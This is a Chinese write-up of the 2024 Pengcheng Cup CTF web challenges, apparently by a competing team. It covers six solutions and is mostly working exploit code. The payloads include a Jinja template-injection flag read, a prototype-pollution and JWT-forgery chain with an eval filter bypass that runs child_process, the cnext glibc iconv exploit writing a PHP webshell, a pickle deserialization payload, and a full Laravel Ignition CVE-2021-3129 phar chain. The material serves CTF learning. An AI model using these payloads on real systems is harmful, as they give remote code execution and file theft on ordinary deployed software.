2024 鹏城杯 web writeup
2024 鹏城杯 web writeup
前言
去年的鹏城杯,在赛后看到TEL师傅的博客

当时就在想,我一年后会不会也变厉害
而现如今
去年的鹏城杯,鄙人只做出来1题
今年的鹏城杯,鄙人和队友一起AK了web 6/6
但是不得不吐槽一下平台,除了中间两三个小时,其他时间平台都崩掉了
python口算
每秒都会更新表达式,使用python算出来后可以得到一个路径
static/f4dd790b-bc4e-48de-b717-903d433c597f
是一段python代码
@app.route('/')
def index(solved=0):
global current_expr
# 前端计算
.....
.....
# 通过计算
username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")试了很久GET请求啥都没有,后来队友发现实际是post
exp
import requests
url = 'http://192.168.18.28'
res1 = requests.get(f'{url}/calc')
ans = eval(res1.text)
data = {
"username": "{{lipsum.__globals__['__builtins__'].open('/flag').read()}}"
}
res2 = requests.post(url=f'{url}/?answer={ans}', data=data)
print(res2.text)notadmin
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')
const app = express();
const port = 3000;
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());
const tmp_user = {}
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (!token) {
return res.redirect('/login');
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send('Invalid token.');
}
}
const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}
console.log(tmp_user.secretKey)
var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};
app.get('/login', (req, res) => {
res.render('login')
});
app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});
app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});原型链污染,思路就是污染secret_key伪造签名,还有想要执行的代码
但是code有检查
var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};unknown大佬使用url解码绕过
解题
const jwt = require('jsonwebtoken');
function fullUrlEncode(str) {
return Array.from(str).map(char => '%' + char.charCodeAt(0).toString(16).padStart(2, '0')).join('');
}
console.log(jwt.sign({ username: '123' },'1111111111111111'))
code = `
global.process.mainModule.require('child_process').exec("cp /flag > ./public/flag")
`
exp ='Reflect.get(global,`${`ev`}al`)(decodeURIComponent(`' + fullUrlEncode(code) +'`))'
console.log(exp)在/login使用post进行污染

GET访问/
Authorization请求头带着生成的jwt


Lookup
非预期巨简单,直接jackson二次反序列化+内存马,啥限制都没有


预期的话给了一个jndi注入的sink点,并且理应是需要高版本绕过的


挺好奇预期解的,怎么执行到这个hashcode(有可能与rome依赖有关)
环境应该是jdk8,后续打jndi打内存马就ldap反序列化应该就行了
fileread
php反序列化,最终给的函数是file_get_contents()
尝试读了几个文件都不存在,这里想可能就是要侧信道
实际上侧信道是通过报错来读文件,所以我的思路是错误的
这里实际是利用glibc实现RCE(与iconv有关的缓冲区溢出)
unknown大佬好厉害
下载这个:https://github.com/ambionics/cnext-exploits
把原先的函数换成这2个
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
import requests
from urllib.parse import quote
import os
import sys
def get_b64(s):
# execute php 1.php
output = os.popen('php 1.php "' + s + '"').read().strip()
return output
b64 = get_b64(path)
print('[GET]', path)
print()
# print(b64)
r = requests.get('http://192.168.18.24/?ser='+quote(b64))
return r
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
from base64 import b64decode
path = f"php://filter/convert.base64-encode/resource={path}"
r = self.send(path)
text = r.text
find_text = 'Your file:'
idx = text.find(find_text) + len(find_text)
text = text[idx:]
return b64decode(text)新建一个1.php
<?php
class cls1{
var $cls;
var $arr = array('fileput');
}
class cls2{
var $filename;
var $txt = '';
}
$obj = new cls1();
$b = new cls2();
$b->filename = $argv[1];
$obj->cls = $b;
$s= serialize($obj);
echo base64_encode($s) . "\n";运行:
python3 cnext-exploit.py http://192.168.18.24/ “echo PD89YCRfUE9TVFswXWA7Pz4= | base64 -d > shell.php”

ezpython
队里小东西好厉害
/login 有路由
弱口令test/123456
说实话挺抽象的,反正不是我爆出来的
Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsInJvbGUiOiJ0ZXN0IiwiZXhwIjoxNzMxMTI4NzIzfQ.BjApxIEsP--b3BVjm2DWwZBpNYYM6ANFXamLgBszQVw

JWT 有签名校验

JWT 密钥可以直接爆破 a123456

/ser 返回 Python 代码
import pickle
import base64
def hhhhackme(pickled):
data = base64.urlsafe_b64decode(pickled)
deserialized = pickle.loads(data)
return '', 204请求 /ser POST 传入
{"pickled": "base64(your pickled code here.)"}
返回有个 exec_output,不知道是干嘛的(
异常会原样返回

import pickle
import base64
class Exp:
def __reduce__(self):
return (exec, ('''
raise Exception(open("/flag").read())
'''.strip(),))
print(base64.urlsafe_b64encode(pickle.dumps(Exp())))
Laravel
版本8.83.27
laravel debug mode rce
https://www.freebuf.com/vuls/264662.html
清log
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
产payload
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('ls /');system('cat /flag.txt');" --phar phar -o php://output | base64 -w 0 | python -c "import sy
s;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
发AA对齐
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}
发payload,结尾加a
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=62=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=6C=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4E=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=73=00=63=00=79=00=41=00=76=00=4A=00=79=00=6B=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=6F=00=42=00=34=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=52=00=41=00=49=00=61=00=36=00=4A=00=66=00=53=00=6C=00=34=00=73=00=58=00=5A=00=78=00=63=00=6D=00=64=00=6F=00=46=00=65=00=4A=00=48=00=69=00=37=00=79=00=74=00=6B=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a"
}
}
解码
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}
跑,注意路径是/src,不是/var/www
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///src/storage/logs/laravel.log/test.txt"
}
}
我找了个一把梭的脚本,但是那个脚本是有问题的(吓得我当时还以为不是这个漏洞)
后来找到个新的一把梭脚本,直接猛打(不过都是lolita大佬手打完之后了)
https://github.com/joshuavanderpoll/CVE-2021-3129
按照参考文章手打复现的话要注意,最后绝对路径是/src,不是/var/www